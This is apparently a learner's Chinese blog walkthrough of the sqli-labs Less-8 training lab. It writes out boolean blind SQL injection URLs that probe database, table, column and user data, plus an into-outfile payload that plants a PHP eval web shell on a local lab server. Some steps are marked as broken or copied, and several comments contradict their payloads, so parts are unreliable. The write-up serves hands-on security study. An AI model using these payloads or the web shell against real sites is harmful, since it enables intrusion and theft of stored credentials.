当前位置: 首页 > article >正文

sql注入第8关

手工注入麻烦

目录

判断闭合方式

判断注入类型

手工注入

1、获取数据库名

2、爆破数据库的名字(security)

3、爆破表的数量

4、判断表名的长度

5、判断表的列名数量

6、判断表的列名的名字

7、获取表的数据

8、判断数据的长度

9、判断数据的值


判断闭合方式

为单引号闭合

判断注入类型

报错不提示报错信息,不适宜用报错注入,

不返回任何信息,不适宜联合查询

那就只能用布尔盲注了,因为错误返回错误页面,正确返回正确页面

上一关是可以直接写入文件,试了一下这一关也是可以直接写入后门代码,然后用蚁剑去连接

那个写入文件只需要满足结果条件就可以了

1、secury为空

2、是root高权限用户

先试一下直接写入一句话木马,可以看出写入成功

http://sql-labs:8888/Less-8/?id=1' union select 1,'<?php @eval($_post["test"])?>',3 into outfile "D://soft//phpstudya//phpstudy_pro//WWW//sqli-labs-master//Less-8//6.php"--+

但是这关的目的一个是让我们使用布尔注入,内容来自这,具体看这两篇文章

sqli-labs第八关-布尔注入_51CTO博客_sqli-labs第二关icon-default.png?t=O83Ahttps://blog.51cto.com/u_15400845/4293172#_50CTFHub_技能树_Web之SQL注入——布尔盲注详细原理讲解_保姆级手把手讲解自动化布尔盲注脚本编写_ctfhub布尔盲注-CSDN博客icon-default.png?t=O83Ahttps://blog.csdn.net/Xxy605/article/details/109750292

一、盲注思路
由于对数据库的信息了解甚少,盲注需要考虑多种情况,一般思路如下:

1 爆库名长度
2 根据库名长度爆库名
3 对当前库爆表数量
4 根据库名和表数量爆表名长度
5 根据表名长度爆表名
6 对表爆列数量
7 根据表名和列数量爆列名长度
8 根据列名长度爆列名
9 根据列名爆数据值

手工注入

1、获取数据库名

?id=1' and length(database())=1--+    //查询数据库名字的长度

经过查询有八位

2、爆破数据库的名字(security)

http://sql-labs:8888/Less-1/?id=1' and substr(database(),1,1)='s' --+      //数据库第一个字符是s

http://sql-labs:8888/Less-1/?id=1' and substr(database(),2,1)='s' --+      //数据库第一个字符是e

3、爆破表的数量

http://sql-labs:8888/Less-1/?id=1' and (select COUNT(*) from information_schema.tables where table_schema=database())=4 --+

查询到数据库表的数量有4张

4、判断表名的长度

这个语句不行,在上面那篇文章复制过来的,至于为什么不行,我不想去想了

http://sql-labs:8888/Less-1/?id=1' and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4 --+

正确语句

http://sql-labs:8888/Less-8/?id=1' and (select  length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6 --+

第一张表名的长度

5、判断表的列名数量

http://sql-labs:8888/Less-8/?id=1' and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name='users')=3 --+

正确代码

http://sql-labs:8888/Less-8/?id=1'   and  (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)=3 --+

这里有问题,报错了,没查到任何数据,一直显示报错界面,没搞懂,下一个,我居然忘了可以直接百度找答案!找到答案了

6、判断表的列名的名字

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),1,1))=105 --+

判断第一列的第一个字母为i,这个有三列,id,username,password

不过爆列名数,为什么要在后面加上limit(0,1),因为爆表的数量的时候没加这个,爆列的数量就加了这个了

做不了了,这里也不知道做,我是按照那个ctfhub那个题目做的,按理来说应该也能做出来,不过要花点时间,不用花时间了,只需要思考一下就好了,但是也不想思考

7、获取表的数据

http://sql-labs:8888/Less-8/?id=1' and  (select count(*) from users)=13 --+

判断表的数据有13条数据

8、判断数据的长度

http://sql-labs:8888/Less-8/?id=1' and length((select id from users limit 0,1))=1 --+

判断id的数据长度为1位

http://sql-labs:8888/Less-8/?id=1'   and  length((select username from users limit 0,1))=4 --+

判断username的数据长度为1位

9、判断数据的值

http://sql-labs:8888/Less-8/?id=1'   and ascii(substr((select username from users limit 0,1),1,1))=68 --+

判断username的第一个值为D


http://www.kler.cn/news/339899.html

相关文章:

  • vscode配置:启用括号对着色
  • 软件工程相关
  • 使用 Python 批量修改文件夹中文件名称
  • mongodb导入导出
  • Linux基础命令netstat详解
  • 谢希仁计算机网络 (四)—— 网络层
  • 探索Spring Boot:教学资源大全
  • 分布式共识算法ZAB
  • PAT甲级-1004 Counting Leaves
  • OCR模型调研及详细安装
  • 【Linux系统编程】第二十九弹---深入探索Linux文件系统:从磁盘存储到inode结构与文件操作
  • Shuffle Net系列详解 (2) Shuffle Net V2论文理论部分详解
  • c++ 计算同一行上的最大点数(Count maximum points on same line)
  • 微信小程序 实现下拉刷新功能
  • CSS调整元素大小
  • 第3天:Android应用组件
  • Bean的实例化方式
  • 图解 Transformer
  • 基于Kafka2.1解读Producer原理
  • 【LeetCode刷题记录】45.跳跃游戏 II